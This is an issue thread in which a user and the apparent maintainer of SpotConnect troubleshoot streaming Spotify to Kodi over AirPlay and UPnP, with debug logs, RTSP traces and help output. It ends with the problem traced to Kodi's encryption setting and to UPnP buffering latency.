Cannot play to Kodi's AirPlay implementation (OSMC/Arm)

Hello, I am trying to use Kodi AirPlay as a Spotify Connect device, but it does not seem to work. Every time it gets stuck on "GetArtworkThread:322". Nothing shows on the screen.
I have run this test with Docker stopped on a Pi4 box running OSMC.
On the same box, with docker running, Kodi's own airplay disabled, I can use an instance of shairport-sync using docker perfectly.
Here is the log using Kodi's own AirPlay (again, docker service is stopped here):
spotconnect-airplay | [07:48:00.020] raopcl_connect:1003 [0x7ff7f80095b0]: local interface <IP_ADDRESS>
spotconnect-airplay | [07:48:00.021] http_read_line:1038 disconnected on the other end 16
spotconnect-airplay | [07:48:00.021] exec_request:655 [0x7ff7f800d990]: response :  request failed
spotconnect-airplay | [07:48:01.022] shadowRequest:275 [0x64c160]: spotify VOLUME request -5.161364
spotconnect-airplay | [07:48:01.023] shadowRequest:275 [0x64c160]: spotify VOLUME request -0.968185
spotconnect-airplay | [07:48:01.024] shadowRequest:275 [0x64c160]: spotify VOLUME request -0.000000
spotconnect-airplay | [07:48:03.420] GetArtworkThread:322 got artwork for https://i.scdn.co/image/ab67616d00001e026b8d89248315d098fc864098
spotconnect-airplay | [07:48:04.899] mDNSsearchCallback:437 Updating configuration /config/raop-config.xml
spotconnect-airplay | [07:47:58.931] I MercurySession.cpp:42: Received packet, command: 178
spotconnect-airplay | [07:47:58.931] D MercurySession.cpp:174: Received mercury packet
spotconnect-airplay | [07:47:58.982] I TrackQueue.cpp:305: Received CDN URL, https://audio-ak-spotify-com.akamaized.net/audio/12db28a105c550349549edd47139bf6e6fd5abe4?__token__=exp=REDACTED
spotconnect-airplay | [07:47:59.886] I MercurySession.cpp:42: Received packet, command: 181
spotconnect-airplay | [07:47:59.886] D SpircHandler.cpp:69: Received subscription response
spotconnect-airplay | [07:47:59.887] D MercurySession.cpp:251: Executing Mercury Request, type SEND
spotconnect-airplay | [07:47:59.918] I spotify.cpp:252: new track will start at 16785
spotconnect-airplay | [07:47:59.918] D MercurySession.cpp:251: Executing Mercury Request, type SEND
spotconnect-airplay | [07:48:00.005] I MercurySession.cpp:42: Received packet, command: 178
spotconnect-airplay | [07:48:00.005] D MercurySession.cpp:174: Received mercury packet
spotconnect-airplay | [07:48:00.068] I MercurySession.cpp:42: Received packet, command: 178
spotconnect-airplay | [07:48:00.068] D MercurySession.cpp:174: Received mercury packet
spotconnect-airplay | [07:48:00.095] I MercurySession.cpp:42: Received packet, command: 181
spotconnect-airplay | [07:48:00.095] D SpircHandler.cpp:69: Received subscription response
spotconnect-airplay | [07:48:00.095] D MercurySession.cpp:251: Executing Mercury Request, type SEND
spotconnect-airplay | [07:48:00.200] I MercurySession.cpp:42: Received packet, command: 178
spotconnect-airplay | [07:48:00.313] I MercurySession.cpp:42: Received packet, command: 181
spotconnect-airplay | [07:48:00.532] I MercurySession.cpp:42: Received packet, command: 181
spotconnect-airplay | [07:48:01.023] D MercurySession.cpp:174: Received mercury packet
spotconnect-airplay | [07:48:01.023] D SpircHandler.cpp:69: Received subscription response
spotconnect-airplay | [07:48:01.023] D MercurySession.cpp:251: Executing Mercury Request, type SEND
spotconnect-airplay | [07:48:01.023] D SpircHandler.cpp:69: Received subscription response
spotconnect-airplay | [07:48:01.023] D MercurySession.cpp:251: Executing Mercury Request, type SEND
spotconnect-airplay | [07:48:01.131] I MercurySession.cpp:42: Received packet, command: 178
spotconnect-airplay | [07:48:01.131] D MercurySession.cpp:174: Received mercury packet
spotconnect-airplay | [07:48:01.152] I MercurySession.cpp:42: Received packet, command: 178
spotconnect-airplay | [07:48:01.152] D MercurySession.cpp:174: Received mercury packet
spotconnect-airplay | [07:48:01.203] I TrackPlayer.cpp:206: Playing
spotconnect-airplay | [07:48:01.203] I spotify.cpp:145: trackUniqueId update  => ID_REDACTED
spotconnect-airplay | [07:48:03.356] D MercurySession.cpp:251: Executing Mercury Request, type SEND
spotconnect-airplay | [07:48:03.356] I spotify.cpp:484: started track id 02b04b6836224be794a1e65531c4df2f => <Oh Woman Oh Man>
spotconnect-airplay | [07:48:03.471] I MercurySession.cpp:42: Received packet, command: 178
spotconnect-airplay | [07:48:03.471] D MercurySession.cpp:174: Received mercury packet
spotconnect-airplay | [07:48:18.502] D spotify.cpp:452: keepAlive KodiLivingPi4+
spotconnect-airplay | [07:48:20.840] I MercurySession.cpp:42: Received packet, command: 181
spotconnect-airplay | [07:48:20.840] D SpircHandler.cpp:69: Received subscription response
spotconnect-airplay | [07:48:20.840] D SpircHandler.cpp:179: Load frame 18!
spotconnect-airplay | [07:48:20.840] D MercurySession.cpp:251: Executing Mercury Request, type SEND
spotconnect-airplay | [07:48:20.841] I TrackPlayer.cpp:98: Resetting state
spotconnect-airplay | [07:48:20.841] I TrackPlayer.cpp:255: Playing done
spotconnect-airplay | [07:48:20.903] D MercurySession.cpp:251: Executing Mercury Request, type GET
spotconnect-airplay | [07:48:20.931] I MercurySession.cpp:42: Received packet, command: 178
spotconnect-airplay | [07:48:21.224] shadowRequest:257 [0x64c160]: spotify LOAD request
spotconnect-airplay | [07:48:21.325] raopcl_connect:1003 [0x7ff7f80095b0]: local interface <IP_ADDRESS>
spotconnect-airplay | [07:48:21.326] http_read_line:1038 disconnected on the other end 17
spotconnect-airplay | [07:48:21.326] exec_request:655 [0x7ff7f800d990]: response :  request failed
spotconnect-airplay | [07:48:20.931] D MercurySession.cpp:174: Received mercury packet
spotconnect-airplay | [07:48:20.931] I TrackQueue.cpp:162: Track name: Oh Woman Oh Man
spotconnect-airplay | [07:48:20.931] I TrackQueue.cpp:163: Track duration: 277613
spotconnect-airplay | [07:48:20.931] D TrackQueue.cpp:165: trackInfo.restriction.size() = 1
spotconnect-airplay | [07:48:20.931] D TrackQueue.cpp:216: File format: 2
spotconnect-airplay | [07:48:20.957] I MercurySession.cpp:42: Received packet, command: 13
spotconnect-airplay | [07:48:20.958] I TrackQueue.cpp:256: Got audio key
spotconnect-airplay | [07:48:20.958] I TrackQueue.cpp:279: Received access key, fetching CDN URL...
spotconnect-airplay | [07:48:21.091] I TrackQueue.cpp:305: Received CDN URL, https://audio-ak-spotify-com.akamaized.net/audio/ID_REDACTED?__token__=exp=REDACTED
spotconnect-airplay | [07:48:21.091] I TrackPlayer.cpp:171: Got track ID=ID_REDACTED
spotconnect-airplay | [07:48:21.091] I CDNAudioFile.cpp:43: Opening HTTP stream to https://audio-ak-spotify-com.akamaized.net/audio/ID_REDACTED?__token__=exp=REDACTED
spotconnect-airplay | [07:48:21.091] D MercurySession.cpp:251: Executing Mercury Request, type GET
spotconnect-airplay | [07:48:21.116] I MercurySession.cpp:42: Received packet, command: 178
spotconnect-airplay | [07:48:21.116] D MercurySession.cpp:174: Received mercury packet
spotconnect-airplay | [07:48:21.116] I TrackQueue.cpp:162: Track name: Hell To The Liars
spotconnect-airplay | [07:48:21.116] I TrackQueue.cpp:163: Track duration: 364506
spotconnect-airplay | [07:48:21.116] D TrackQueue.cpp:165: trackInfo.restriction.size() = 1
spotconnect-airplay | [07:48:21.117] D TrackQueue.cpp:216: File format: 2
spotconnect-airplay | [07:48:21.141] I MercurySession.cpp:42: Received packet, command: 13
spotconnect-airplay | [07:48:21.141] I TrackQueue.cpp:256: Got audio key
spotconnect-airplay | [07:48:21.141] I TrackQueue.cpp:279: Received access key, fetching CDN URL...
spotconnect-airplay | [07:48:21.223] I CDNAudioFile.cpp:70: Header and footer bytes received
spotconnect-airplay | [07:48:21.224] D MercurySession.cpp:251: Executing Mercury Request, type SEND
spotconnect-airplay | [07:48:21.250] I TrackQueue.cpp:305: Received CDN URL, https://audio-ak-spotify-com.akamaized.net/audio/781ef0194b04caf14436cdcd670e42a424479ff5?__token__=exp=1702972101~hmac=01746021506d58d759c32bca1bd10875d05286073b10559ba0acc9a49df4e8a6
spotconnect-airplay | [07:48:21.351] D MercurySession.cpp:251: Executing Mercury Request, type GET
spotconnect-airplay | [07:48:21.375] I MercurySession.cpp:42: Received packet, command: 178
spotconnect-airplay | [07:48:21.375] D MercurySession.cpp:174: Received mercury packet
spotconnect-airplay | [07:48:21.375] I TrackQueue.cpp:162: Track name: Everyone Else
spotconnect-airplay | [07:48:21.375] I TrackQueue.cpp:163: Track duration: 245240
spotconnect-airplay | [07:48:21.375] D TrackQueue.cpp:165: trackInfo.restriction.size() = 1
spotconnect-airplay | [07:48:21.375] D TrackQueue.cpp:216: File format: 2
spotconnect-airplay | [07:48:21.403] I MercurySession.cpp:42: Received packet, command: 13
spotconnect-airplay | [07:48:21.403] I TrackQueue.cpp:256: Got audio key
spotconnect-airplay | [07:48:21.403] I TrackQueue.cpp:279: Received access key, fetching CDN URL...
spotconnect-airplay | [07:48:21.516] I TrackQueue.cpp:305: Received CDN URL, https://audio-ak-spotify-com.akamaized.net/audio/12db28a105c550349549edd47139bf6e6fd5abe4?__token__=exp=1702972101~hmac=d25a82c0b3adcce4215a6ec3904b640b6cbf25b68222f395a275f6791f4e7a68
spotconnect-airplay | [07:48:21.591] I MercurySession.cpp:42: Received packet, command: 178
spotconnect-airplay | [07:48:21.592] D MercurySession.cpp:174: Received mercury packet
spotconnect-airplay | [07:48:22.328] shadowRequest:261 [0x64c160]: spotify PLAY request
spotconnect-airplay | [07:48:22.430] raopcl_connect:1003 [0x7ff7f80095b0]: local interface <IP_ADDRESS>
spotconnect-airplay | [07:48:22.431] http_read_line:1038 disconnected on the other end 16
spotconnect-airplay | [07:48:22.431] exec_request:655 [0x7ff7f800d990]: response :  request failed
spotconnect-airplay | [07:48:25.704] GetArtworkThread:322 got artwork for https://i.scdn.co/image/ab67616d00001e026b8d89248315d098fc864098

Thank you!
Edit: some details

It might be worth mentioning that if Docker is enabled on the box (but with shairport-sync stopped), I get this error loop instead:
spotconnect-airplay | [07:56:44.584] mDNSsearchCallback:394 [0x64c160]: changed ip:port <IP_ADDRESS>:36666
spotconnect-airplay | [07:56:46.587] mDNSsearchCallback:394 [0x64cf00]: changed ip:port <IP_ADDRESS>:5000
spotconnect-airplay | [07:56:46.587] mDNSsearchCallback:394 [0x64c160]: changed ip:port <IP_ADDRESS>:36666
spotconnect-airplay | [07:56:46.588] mDNSsearchCallback:394 [0x64cf00]: changed ip:port <IP_ADDRESS>:5000
spotconnect-airplay | [07:56:46.588] mDNSsearchCallback:394 [0x64c160]: changed ip:port <IP_ADDRESS>:36666
spotconnect-airplay | [07:56:48.577] mDNSsearchCallback:394 [0x64cf00]: changed ip:port <IP_ADDRESS>:5000
spotconnect-airplay | [07:56:48.577] mDNSsearchCallback:394 [0x64c160]: changed ip:port <IP_ADDRESS>:36666

where <IP_ADDRESS> is the actual box ip and <IP_ADDRESS> is a docker network.
Thanks

Hello again, would like to mention that, in the docker/shairport scenario, despite perfect functionality, there are many logs like the following:
spotconnect-airplay | [08:19:32.412] mDNSsearchCallback:394 [0x64c160]: changed ip:port <IP_ADDRESS>:5000
spotconnect-airplay | [08:19:32.413] mDNSsearchCallback:394 [0x64c160]: changed ip:port <IP_ADDRESS>:5000
supposedly related to docker networks.
Thank you

Usually, shairport-type (all AirPlay clones) require encryption to be enabled

So I understand AirPlay in kodi does not support encryption.
Anyway, I have been able to successfully stream Spotify to Kodi via SpotConnect over Kodi's UPnP/DLNA service.
It's not the best, there is latency between tracks, I believe it's related to the fact that Kodi's UPnP service is not gapless (not even close).
Other renderers (like upmpdcli) behave much better IMO.
But at least it is possible to use Kodi as a Spotify Connect device, even if the solution in this case is a bit convoluted.
Thank you, again, for your great software!

Thinking again, the kodi solution I mentioned is not more convoluted than using SpotConnect on any other upnp device.
It's just Kodi's UPnP that's slow and not gapless, that's all.

If you still want to try with AirPlay, I would need a more detailed log, with level = debug to better see where the AirPlay connection fails.

Ok I will try

Otherwise if hapless is the most important feature for you, you can try the "flow" mode. I've not tested it as much, but does solve that issue.

Hello, thank you for the suggestion. I enabled flow mode on the Kodi device, and gapless works.
OTOH, I lose metadata and the latency, which was already high in non-flow mode with kodi, increases considerably.
As I mentioned earlier, other upnp renderers like upmpdcli have a really small latency (I don't even notice) so the issue is totally kodi-related.
So mostly for the high latency than the missing metadata, I think I will probably rever to the non-flow mode, as this was just me exploring a fallback solution when a 'proper' stream is not available. Considering that I have PIs around all the house, this would happen only in the kitchen where I have a really cheap soundbar, so a small latency (with non-flow mode) and missing gapless would be totally fine.
Thank you for your support!

BTW, the latency issue is strange typically b/c it's usually a UPnP issue when the player wants to buffer a lot and expects that there will be a large inrush of data at the beginning. Of course, such in-rush does not happen if the source is airplay like my AirConnect application, but that's not the case here

Hello, thank you. I am about to try with debug enabled. Though I found something I don't understand in the help sections.
For example this output is for raop with --help:
root@gruesome03:/app/bin# ./spotraop-linux --help
v0.8.5 (Dec 27 2023 @ 00:21:12)
See -t for license terms
Usage: [options]
  -b <ip>             network interface/IP address to bind to
  -a <port>[:<count>] set inbound port and range for RTP and HTTP
  -J <path>           path to Spotify credentials files
  -j                   store Spotify credentials in XML config file
  -U <user>           Spotify username
  -P <password>       Spotify password
  -L                  set AirPlay player password
  -c <alac|pcm>       audio format send to player (alac)
  -r <96|160|320>     set Spotify vorbis codec rate (160)
  -N <format>         transform device name using C format (%s=name)
  -x <config file>    read config from file (default is ./config.xml)
  -i <config file>    discover players, save <config file> and exit
  -I                  auto save config at every network scan
  -f <logfile>        write debug to logfile
  -l                  AppleTV pairing
  -p <pid file>       write PID in file
  -m <n1,n2...>       exclude devices whose model include tokens
  -n <m1,m2,...>      exclude devices whose name includes tokens
  -o <m1,m2,...>      include only listed models; overrides -m and -n (use <NULL> if player don't return a model)
  -d <log>=<level>    set logging level, logs: all|main|util|upnp, level: error|warn|info|debug|sdebug
  -z               daemonize
  -Z               NOT interactive
  -k               immediate exit on SIGQUIT and SIGTERM
  -t               license terms

Build options: LINUX

Is "upnp" correct as a log type in raop mode?
Also the "--help" switch doesn't seem to work on the "upnp" version, it seems that the program starts instead of displaying the help information.

Also when I run spotraop with "--help", it seems there is a mismatch with the version, it shows 0.8.5 while when running the version "0.8.6" is shown, am I doing something wrong?

Here are the logs with debug enabled:
spotconnect-airplay | [07:58:16.971] I CDNAudioFile.cpp:43: Opening HTTP stream to https://audio-ak-spotify-com.akamaized.net/audio/3fb26d0282375bab7b0326f28d33d53057f251c6?__token__=exp=1704959896~hmac=c3415469876aa1f38bbcf5d9a434ee417c5fc7e3e8b45c453c72b843d14dffb0
spotconnect-airplay | [07:58:16.998] I MercurySession.cpp:42: Received packet, command: 178
spotconnect-airplay | [07:58:16.998] D MercurySession.cpp:174: Received mercury packet
spotconnect-airplay | [07:58:16.998] I TrackQueue.cpp:162: Track name: F For You
spotconnect-airplay | [07:58:16.998] I TrackQueue.cpp:163: Track duration: 268935
spotconnect-airplay | [07:58:16.999] D TrackQueue.cpp:165: trackInfo.restriction.size() = 1
spotconnect-airplay | [07:58:16.999] D TrackQueue.cpp:216: File format: 2
spotconnect-airplay | [07:58:17.026] I MercurySession.cpp:42: Received packet, command: 13
spotconnect-airplay | [07:58:17.026] I TrackQueue.cpp:256: Got audio key
spotconnect-airplay | [07:58:17.026] I TrackQueue.cpp:279: Received access key, fetching CDN URL...
spotconnect-airplay | [07:58:17.081] I CDNAudioFile.cpp:70: Header and footer bytes received
spotconnect-airplay | [07:58:17.081] D MercurySession.cpp:251: Executing Mercury Request, type SEND
spotconnect-airplay | [07:58:17.142] I TrackQueue.cpp:305: Received CDN URL, https://audio-ak-spotify-com.akamaized.net/audio/e176a0c7a4ed368bf99812686b8e116f965bd636?__token__=exp=1704959897~hmac=286a39673c15c484cfd1982e7e17114b2d43c9d747febb00a29a871a69ba6357
spotconnect-airplay | [07:58:17.242] D MercurySession.cpp:251: Executing Mercury Request, type GET
spotconnect-airplay | [07:58:17.267] I MercurySession.cpp:42: Received packet, command: 178
spotconnect-airplay | [07:58:17.267] D MercurySession.cpp:174: Received mercury packet
spotconnect-airplay | [07:58:17.291] I MercurySession.cpp:42: Received packet, command: 178
spotconnect-airplay | [07:58:17.291] D MercurySession.cpp:174: Received mercury packet
spotconnect-airplay | [07:58:17.291] I TrackQueue.cpp:162: Track name: White Noise
spotconnect-airplay | [07:58:17.291] I TrackQueue.cpp:163: Track duration: 277687
spotconnect-airplay | [07:58:17.291] D TrackQueue.cpp:165: trackInfo.restriction.size() = 1
spotconnect-airplay | [07:58:17.291] D TrackQueue.cpp:216: File format: 2
spotconnect-airplay | [07:58:17.318] I MercurySession.cpp:42: Received packet, command: 13
spotconnect-airplay | [07:58:17.318] I TrackQueue.cpp:256: Got audio key
spotconnect-airplay | [07:58:17.319] I TrackQueue.cpp:279: Received access key, fetching CDN URL...
spotconnect-airplay | [07:58:17.429] I TrackQueue.cpp:305: Received CDN URL, https://audio-ak-spotify-com.akamaized.net/audio/f2c43d8e1410f850ecf64e6f57647c26e42b3342?__token__=exp=1704959897~hmac=f2c2008ae552e56ed143aa4df5b438b15240bd55a1468bd93c89e4c231232a2d
spotconnect-airplay | [07:58:18.186] I spotify.cpp:252: new track will start at 23937
spotconnect-airplay | [07:58:18.186] D MercurySession.cpp:251: Executing Mercury Request, type SEND
spotconnect-airplay | [07:58:18.353] I MercurySession.cpp:42: Received packet, command: 178
spotconnect-airplay | [07:58:18.354] D MercurySession.cpp:174: Received mercury packet
spotconnect-airplay | [07:58:19.507] I TrackPlayer.cpp:206: Playing
spotconnect-airplay | [07:58:19.507] I spotify.cpp:145: trackUniqueId update  => 3fb26d0282375bab7b0326f28d33d53057f251c6
spotconnect-airplay | [07:58:21.558] D MercurySession.cpp:251: Executing Mercury Request, type SEND
spotconnect-airplay | [07:58:21.559] I spotify.cpp:484: started track id 8e806c09bd1e47728e094e2a27eb0b86 => <Latch>
spotconnect-airplay | [07:58:21.746] I MercurySession.cpp:42: Received packet, command: 178
spotconnect-airplay | [07:58:21.746] D MercurySession.cpp:174: Received mercury packet
spotconnect-airplay | [07:58:36.569] D spotify.cpp:452: keepAlive Xeon10 (Kodi) (AirPlay)
spotconnect-airplay | [07:58:51.596] D spotify.cpp:452: keepAlive Xeon10 (Kodi) (AirPlay)
spotconnect-airplay | [07:59:06.622] D spotify.cpp:452: keepAlive Xeon10 (Kodi) (AirPlay)
spotconnect-airplay | [07:59:07.387] I MercurySession.cpp:42: Received packet, command: 181
spotconnect-airplay | [07:59:07.388] D SpircHandler.cpp:69: Received subscription response
spotconnect-airplay | [07:59:07.388] D SpircHandler.cpp:132: Notify frame
spotconnect-airplay | [07:59:09.090] I MercurySession.cpp:42: Received packet, command: 181
spotconnect-airplay | [07:59:09.090] D SpircHandler.cpp:69: Received subscription response
spotconnect-airplay | [07:59:09.091] D SpircHandler.cpp:132: Notify frame
spotconnect-airplay | [07:59:09.091] D SpircHandler.cpp:137: Another player took control, pausing playback
spotconnect-airplay | [07:59:09.091] I TrackPlayer.cpp:98: Resetting state
spotconnect-airplay | [07:59:09.102] I TrackPlayer.cpp:255: Playing done
spotconnect-airplay | [07:59:09.102] I spotify.cpp:110: Disconnecting Xeon10 (Kodi) (AirPlay)
spotconnect-airplay | [07:59:09.143] I MercurySession.cpp:42: Received packet, command: 181
spotconnect-airplay | [07:59:10.444] I MercurySession.cpp:42: Received packet, command: 181
spotconnect-airplay | [07:59:10.444] D SpircHandler.cpp:69: Received subscription response
spotconnect-airplay | [07:59:10.444] D SpircHandler.cpp:132: Notify frame
spotconnect-airplay | [07:59:11.652] I MercurySession.cpp:42: Received packet, command: 181
spotconnect-airplay | [07:59:11.652] D SpircHandler.cpp:69: Received subscription response
spotconnect-airplay | [07:59:11.652] D SpircHandler.cpp:179: Load frame 18!
spotconnect-airplay | [07:59:11.652] D MercurySession.cpp:251: Executing Mercury Request, type SEND
spotconnect-airplay | [07:59:11.652] I TrackPlayer.cpp:98: Resetting state
spotconnect-airplay | [07:59:11.702] D MercurySession.cpp:251: Executing Mercury Request, type GET
spotconnect-airplay | [07:59:11.728] I MercurySession.cpp:42: Received packet, command: 178
spotconnect-airplay | [07:59:11.728] D MercurySession.cpp:174: Received mercury packet
spotconnect-airplay | [07:59:11.728] I TrackQueue.cpp:162: Track name: Latch
spotconnect-airplay | [07:59:11.728] I TrackQueue.cpp:163: Track duration: 255631
spotconnect-airplay | [07:59:11.728] D TrackQueue.cpp:165: trackInfo.restriction.size() = 1
spotconnect-airplay | [07:59:11.728] D TrackQueue.cpp:216: File format: 2
spotconnect-airplay | [07:59:11.751] I MercurySession.cpp:42: Received packet, command: 181
spotconnect-airplay | [07:59:11.775] I MercurySession.cpp:42: Received packet, command: 13
spotconnect-airplay | [07:59:11.775] I TrackQueue.cpp:256: Got audio key
spotconnect-airplay | [07:59:11.775] I TrackQueue.cpp:279: Received access key, fetching CDN URL...
spotconnect-airplay | [07:59:11.837] I MercurySession.cpp:42: Received packet, command: 178
spotconnect-airplay | [07:59:11.837] D MercurySession.cpp:174: Received mercury packet
spotconnect-airplay | [07:59:11.889] I TrackQueue.cpp:305: Received CDN URL, https://audio-ak-spotify-com.akamaized.net/audio/3fb26d0282375bab7b0326f28d33d53057f251c6?__token__=exp=1704959951~hmac=8231c4fa0aec4a9e1a147cf87d2046a75a18178cf09ac7287748ca93fb7f3dc2
spotconnect-airplay | [07:59:11.890] I TrackPlayer.cpp:171: Got track ID=3fb26d0282375bab7b0326f28d33d53057f251c6
spotconnect-airplay | [07:59:11.890] I CDNAudioFile.cpp:43: Opening HTTP stream to https://audio-ak-spotify-com.akamaized.net/audio/3fb26d0282375bab7b0326f28d33d53057f251c6?__token__=exp=1704959951~hmac=8231c4fa0aec4a9e1a147cf87d2046a75a18178cf09ac7287748ca93fb7f3dc2
spotconnect-airplay | [07:59:11.990] D MercurySession.cpp:251: Executing Mercury Request, type GET
spotconnect-airplay | [07:59:12.017] I MercurySession.cpp:42: Received packet, command: 178
spotconnect-airplay | [07:59:12.017] D MercurySession.cpp:174: Received mercury packet
spotconnect-airplay | [07:59:12.017] I TrackQueue.cpp:162: Track name: F For You
spotconnect-airplay | [07:59:12.017] I TrackQueue.cpp:163: Track duration: 268935
spotconnect-airplay | [07:59:12.017] D TrackQueue.cpp:165: trackInfo.restriction.size() = 1
spotconnect-airplay | [07:59:12.017] D TrackQueue.cpp:216: File format: 2
spotconnect-airplay | [07:59:12.044] I MercurySession.cpp:42: Received packet, command: 13
spotconnect-airplay | [07:59:12.072] shadowRequest:257 [0x64c160]: spotify LOAD request
spotconnect-airplay | [07:59:12.173] raopcl_connect:1003 [0x7f5d48009990]: local interface <IP_ADDRESS>
spotconnect-airplay | [07:59:12.173] exec_request:645 [0x7f5d4800dd70]: ----> : write ANNOUNCE rtsp://<IP_ADDRESS>/2725955051 RTSP/1.0
spotconnect-airplay | Content-Type: application/sdp
spotconnect-airplay | Content-Length: 182
spotconnect-airplay | CSeq: 5
spotconnect-airplay | User-Agent: iTunes/7.6.2 (Windows; N;)
spotconnect-airplay | Client-Instance: 3bbad4b8db1e1fcb
spotconnect-airplay | DACP-ID: 1A2B3D4EA1B2C3D5
spotconnect-airplay | Active-Remote: 229073126
spotconnect-airplay |
spotconnect-airplay | v=0
spotconnect-airplay | o=iTunes<PHONE_NUMBER> 0 IN IP4 <IP_ADDRESS>
spotconnect-airplay | s=iTunes
spotconnect-airplay | c=IN IP4 <IP_ADDRESS>
spotconnect-airplay | t=0 0
spotconnect-airplay | m=audio 0 RTP/AVP 96
spotconnect-airplay | a=rtpmap:96 AppleLossless
spotconnect-airplay | a=fmtp:96 352 0 16 40 10 14 2 255 0 0 44100
spotconnect-airplay |
spotconnect-airplay | [07:59:12.174] exec_request:666 [0x7f5d4800dd70]: <------ : 200: request ok
spotconnect-airplay | [07:59:12.174] exec_request:676 [0x7f5d4800dd70]: <------ : CSeq: 5
spotconnect-airplay | [07:59:12.174] exec_request:676 [0x7f5d4800dd70]: <------ : Apple-Jack-Status: connected; type=analog
spotconnect-airplay | [07:59:12.175] exec_request:645 [0x7f5d4800dd70]: ----> : write SETUP rtsp://<IP_ADDRESS>/2725955051 RTSP/1.0
spotconnect-airplay | Transport: RTP/AVP/UDP;unicast;interleaved=0-1;mode=record;control_port=58772;timing_port=46222
spotconnect-airplay | CSeq: 6
spotconnect-airplay | User-Agent: iTunes/7.6.2 (Windows; N;)
spotconnect-airplay | Client-Instance: 3bbad4b8db1e1fcb
spotconnect-airplay | DACP-ID: 1A2B3D4EA1B2C3D5
spotconnect-airplay | Active-Remote: 229073126
spotconnect-airplay |
spotconnect-airplay |
spotconnect-airplay | [07:59:12.175] http_read_line:1101 disconnected on the other end 13
spotconnect-airplay | [07:59:12.175] exec_request:655 [0x7f5d4800dd70]: response :  request failed
spotconnect-airplay | [07:59:13.176] shadowRequest:261 [0x64c160]: spotify PLAY request
spotconnect-airplay | [07:59:13.277] raopcl_connect:1003 [0x7f5d48009990]: local interface <IP_ADDRESS>
spotconnect-airplay | [07:59:13.277] exec_request:645 [0x7f5d4800dd70]: ----> : write ANNOUNCE rtsp://<IP_ADDRESS>/4278507504 RTSP/1.0
spotconnect-airplay | Content-Type: application/sdp
spotconnect-airplay | Content-Length: 182
spotconnect-airplay | CSeq: 7
spotconnect-airplay | User-Agent: iTunes/7.6.2 (Windows; N;)
spotconnect-airplay | Client-Instance: 18e4621b30baf0ee
spotconnect-airplay | DACP-ID: 1A2B3D4EA1B2C3D5
spotconnect-airplay | Active-Remote: 229073126
spotconnect-airplay |
spotconnect-airplay | v=0
spotconnect-airplay | o=iTunes<PHONE_NUMBER> 0 IN IP4 <IP_ADDRESS>
spotconnect-airplay | s=iTunes
spotconnect-airplay | c=IN IP4 <IP_ADDRESS>
spotconnect-airplay | t=0 0
spotconnect-airplay | m=audio 0 RTP/AVP 96
spotconnect-airplay | a=rtpmap:96 AppleLossless
spotconnect-airplay | a=fmtp:96 352 0 16 40 10 14 2 255 0 0 44100
spotconnect-airplay |
spotconnect-airplay | [07:59:13.278] exec_request:666 [0x7f5d4800dd70]: <------ : 200: request ok
spotconnect-airplay | [07:59:13.278] exec_request:676 [0x7f5d4800dd70]: <------ : CSeq: 7
spotconnect-airplay | [07:59:13.278] exec_request:676 [0x7f5d4800dd70]: <------ : Apple-Jack-Status: connected; type=analog
spotconnect-airplay | [07:59:13.278] exec_request:645 [0x7f5d4800dd70]: ----> : write SETUP rtsp://<IP_ADDRESS>/4278507504 RTSP/1.0
spotconnect-airplay | Transport: RTP/AVP/UDP;unicast;interleaved=0-1;mode=record;control_port=52669;timing_port=57964
spotconnect-airplay | CSeq: 8
spotconnect-airplay | User-Agent: iTunes/7.6.2 (Windows; N;)
spotconnect-airplay | Client-Instance: 18e4621b30baf0ee
spotconnect-airplay | DACP-ID: 1A2B3D4EA1B2C3D5
spotconnect-airplay | Active-Remote: 229073126
spotconnect-airplay |
spotconnect-airplay |
spotconnect-airplay | [07:59:13.278] http_read_line:1101 disconnected on the other end 12
spotconnect-airplay | [07:59:13.278] exec_request:655 [0x7f5d4800dd70]: response :  request failed
spotconnect-airplay | [07:59:16.816] GetArtworkThread:322 got artwork for https://i.scdn.co/image/ab67616d00001e02d3462d1395189dc76a326031

BTW, the latency issue is strange typically b/c it's usually a UPnP issue when the player wants to buffer a lot and expects that there will be a large inrush of data at the beginning. Of course, such in-rush does not happen if the source is airplay like my AirConnect application, but that's not the case here

Hello, yes but this latency only happens when using kodi's upnp service. With upmpdcli the latency is minimal!

I don't know what kodi is doing then. I could have a look with a SpotUPnP log.

Can you give me a kodi log with encryption enabled?

oh dear, it works with encryption enabled on kodi (enabled at device level), thank you! I suppose the logs are not needed then.
There are the metadata and latency is very low. Sorry, I overlooked this aspect.
I will try with upnp and logging enable later today!

Hello, I tried again with upnp and debug log enabled. I was playing on "Kodi (Xeon10) (av)".
I don't see anything special on the logs while kodi was displaying a "wait" cue. It seems kodi is just buffering too much as you were saying.
The first song I played took 17 seconds to actually start playing.
spotconnect-upnp | [11:12:39.327] D MercurySession.cpp:251: Executing Mercury Request, type SEND
spotconnect-upnp | [11:12:39.328] I spotify.cpp:406: started track id de3b6a3bce4d40e8a7b9ea6a6fc4912c => <I Love You>
spotconnect-upnp | [11:12:39.328] D MercurySession.cpp:251: Executing Mercury Request, type SEND
spotconnect-upnp | [11:12:39.328] I spotify.cpp:485: track bbbb17f59396_2 started by URL (1)
spotconnect-upnp | [11:12:39.328] I spotify.cpp:438: adjusting real position 9000 from 0 (offset is 0)
spotconnect-upnp | [11:12:39.328] D MercurySession.cpp:251: Executing Mercury Re[11:12:39.863] UpdateThread:953 Updating configuration /config/upnp-config.xml
spotconnect-upnp | [11:12:40.002] UpdateThread:798 Presence checking
spotconnect-upnp | [11:12:40.475] UpdateThread:859 [0x7f5ac3f141d0] UPnP keep alive: Aune S6 (8x) (av)
spotconnect-upnp | [11:12:42.107] UpdateThread:859 [0x7f5ac3f0f010] UPnP keep alive: Kodi (Xeon10) (av)
spotconnect-upnp | [11:12:44.009] UpdateThread:859 [0x7f5ac3f0f010] UPnP keep alive: Kodi (Xeon10) (av)
spotconnect-upnp | [11:12:45.881] UpdateThread:859 [0x7f5ac3f118f0] UPnP keep alive: Aune S6 (Vanilla) (av)
spotconnect-upnp | [11:12:46.811] UpdateThread:859 [0x7f5ac3f118f0] UPnP keep alive: Aune S6 (Vanilla) (av)
spotconnect-upnp | [11:12:49.112] UpdateThread:859 [0x7f5ac3f141d0] UPnP keep alive: Aune S6 (8x) (av)
spotconnect-upnp | [11:12:54.763] UpdateThread:953 Updating configuration /config/upnp-config.xml
spotconnect-upnp | [11:13:04.820] UpdateThread:953 Updating configuration /config/upnp-config.xml
spotconnect-upnp | [11:13:05.297] UpdateThread:953 Updating configuration /config/upnp-config.xml
spotconnect-upnp | [11:13:07.280] UpdateThread:953 Updating configuration /config/upnp-config.xml
spotconnect-upnp | [11:13:10.006] UpdateThread:798 Presence checking
